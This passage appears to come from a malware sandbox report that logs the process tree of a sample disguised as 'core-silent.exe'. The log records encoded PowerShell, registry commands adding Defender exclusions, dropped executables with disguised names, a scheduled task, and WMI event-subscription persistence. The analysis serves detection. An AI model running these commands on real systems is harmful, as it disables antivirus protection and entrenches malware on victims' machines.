QByAHQAaQBmAGEAYwB0AHMAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEMAYQBjAGgAZQBcAGEAcgB0AGkAZgBhAGMAdABzAFwAbQBzAGgAYgBxAGYAcAB0ADcAMwBhADQAXAB2AGMAcgBlAGQAaQBzAHQAXwByAHUAbgB0AGkAbQBlAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEMAYQBjAGgAZQBcAGEAcgB0AGkAZgBhAGMAdABzAFwAbQBzAGgAYgBxAGYAcAB0ADcAMwBhADQAXABiAG8AbwB0AHMAdAByAGEAcABfADQAOABhADkALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwB2AGMAcgBlAGQAaQBzAHQAXwByAHUAbgB0AGkAbQBlAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBiAG8AbwB0AHMAdAByAGEAcABfADQAOABhADkALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA"
  2⤵
  - Executes a command shell one-liner
  PID:3396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwARABlAHMAawB0AG8AcABcAGMAbwByAGUALQByAGUAbABlAGEAcwBlAFwAYgBpAG4AXABjAG8AcgBlAC0AcwBpAGwAZQBuAHQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAQwBhAGMAaABlAFwAYQByAHQAaQBmAGEAYwB0AHMAXABtAHMAaABiAHEAZgBwAHQANwAzAGEANAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAQwBhAGMAaABlAFwAYQByAHQAaQBmAGEAYwB0AHMAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEMAYQBjAGgAZQBcAGEAcgB0AGkAZgBhAGMAdABzAFwAbQBzAGgAYgBxAGYAcAB0ADcAMwBhADQAXAB2AGMAcgBlAGQAaQBzAHQAXwByAHUAbgB0AGkAbQBlAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEMAYQBjAGgAZQBcAGEAcgB0AGkAZgBhAGMAdABzAFwAbQBzAGgAYgBxAGYAcAB0ADcAMwBhADQAXABiAG8AbwB0AHMAdAByAGEAcABfADQAOABhADkALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwB2AGMAcgBlAGQAaQBzAHQAXwByAHUAbgB0AGkAbQBlAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBiAG8AbwB0AHMAdAByAGEAcABfADQAOABhADkALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\Desktop\core-release\bin\core-silent.exe'""
  2⤵
  - Executes a command shell one-liner
  PID:4408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\Desktop\core-release\bin\core-silent.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Desktop\core-release\bin\core-silent.exe""
  2⤵
  - Executes a command shell one-liner
  PID:3768
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Desktop\core-release\bin\core-silent.exe"
    3⤵
    PID:5724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4'""
  2⤵
  - Executes a command shell one-liner
  PID:1620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4""
  2⤵
  - Executes a command shell one-liner
  PID:4188
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4"
    3⤵
    PID:1188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts'""
  2⤵
  - Executes a command shell one-liner
  PID:1696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts""
  2⤵
  - Executes a command shell one-liner
  PID:3908
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts"
    3⤵
    PID:732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\vcredist_runtime.exe'""
  2⤵
  - Executes a command shell one-liner
  PID:2876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\vcredist_runtime.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\vcredist_runtime.exe""
  2⤵
  - Executes a command shell one-liner
  PID:3636
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\vcredist_runtime.exe"
    3⤵
    PID:2324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\bootstrap_48a9.exe'""
  2⤵
  - Executes a command shell one-liner
  PID:2300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\bootstrap_48a9.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\bootstrap_48a9.exe""
  2⤵
  - Executes a command shell one-liner
  PID:5896
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\bootstrap_48a9.exe"
    3⤵
    PID:3448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\vcredist_runtime.exe' -ErrorAction SilentlyContinue""
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Hidden Window
  - Hide Artifacts: Ignore Process Interrupts
  PID:4580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\vcredist_runtime.exe' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1628
- C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\vcredist_runtime.exe
  C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\vcredist_runtime.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\bootstrap_48a9.exe' -ErrorAction SilentlyContinue""
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Hidden Window
  - Hide Artifacts: Ignore Process Interrupts
  PID:6884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\bootstrap_48a9.exe' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6924
- C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\bootstrap_48a9.exe
  C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqfpt73a4\bootstrap_48a9.exe
  2⤵
  - Creates a file in the Startup directory
  - Executes dropped EXE
  - Adds Run key to start application
  PID:2284
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn "MicrosoftRuntimeBroker" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Security\Health\HealthService.exe" /sc daily /st 00:00 /rl limited /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6288
- - C:\Windows\System32\Wbem\wmic.exe
    wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="WinSysUpdate", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6348
- - C:\Windows\System32\Wbem\wmic.exe
    wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="SysUpdateConsumer", CommandLineTemplate="C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker\RuntimeBroker.exe"
    3⤵
    - System Time Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5212
- - C:\Windows\System32\Wbem\wmic.exe
    wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WinSysUpdate\"", Consumer="CommandLineEventConsumer.Name=\"SysUpdateConsumer\""
    3⤵
    PID:6624

C:\Users\Admin\Desktop\core-release\bin\core-silent.exe
"C:\Users\Admin\Desktop\core-release\bin\core-silent.exe"
1⤵
PID:5856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "ps -p 3292 -o comm=,ppid="
  2⤵
  - Executes a command shell one-liner
  PID:2428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:4568
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1996
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal"
  2⤵
  - Executes a command shell one-liner
  PID:1868
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal
    3⤵
    PID:4500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:5616
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:5972
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\diagsvc_43145c.vbs""
  2⤵
  - Executes a command shell one-liner
  PID:4820
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\diagsvc_43145c.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:2676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Desktop\core-release\bin\core-silent.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4600
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Desktop\core-release\bin\core-silent.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:6228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Desktop\core-release\bin\core-silent.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5304
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Desktop\core-release\bin\core-silent.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:6156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:2688
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:6168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3756
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788" /t REG_DWORD /d 0 /f
    3⤵
    PID:6148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:628
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4804
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts" /t REG_DWORD /d 0 /f
    3⤵
    PID:5552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\vcredist_runtime.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4948
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\vcredist_runtime.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:5908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\vcredist_runtime.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3876
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\vcredist_runtime.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:6300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\bootstrap_48a9.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5932
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\bootstrap_48a9.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:6260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\bootstrap_48a9.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5412
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\bootstrap_48a9.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:3280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:3128
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4488
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:5248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "vcredist_runtime.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4376
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "vcredist_runtime.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "vcredist_runtime.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5652
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "vcredist_runtime.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:5160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "bootstrap_48a9.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4316
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "bootstrap_48a9.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:5796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "bootstrap_48a9.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5988
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "bootstrap_48a9.exe" /t REG_DWORD /d 0 /f
    3⤵
